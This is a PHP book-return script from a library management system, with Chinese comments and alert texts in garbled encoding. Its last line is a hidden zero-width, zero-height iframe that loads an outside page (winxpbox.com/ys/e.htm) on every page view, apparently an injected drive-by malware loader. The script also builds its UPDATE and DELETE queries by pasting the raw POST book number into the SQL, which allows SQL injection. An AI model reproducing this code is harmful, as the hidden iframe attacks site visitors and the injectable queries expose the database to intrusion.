<?php  //插入數(shù)據(jù)
include "../config.php";
?>

<?php

if(!empty($_POST["submit3"]))
{
$no=$_POST["no"];
$readername=$_POST["readername"];
$returndate=date("Y-m-d");

if(empty($no))
{ echo "<script language='javascript'>alert('圖書(shū)編號(hào)不能為空');history.go(-1);</script>"; }

if(empty($readername))
{ echo "<script language='javascript'>alert('讀者姓名不能為空');history.go(-1);</script>"; }

//$sql="update bookmanagement.lendingbook set returndate=$returndate where no='".$no."'";

//$result=mysql_query($sql) or die (mysql_error());

$sql="update books set state='在館' where no='".$no."'";
mysql_query($sql) or die (mysql_error());

//刪除借書(shū)表中的資料
$sql="delete from lendingbook where no='".$no."'";
$result=mysql_query($sql);

if($result)
{
echo "<script language='javascript'>alert('還書(shū)操作成功！');window.location.href='hs.php';</script>";
}
}
?>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>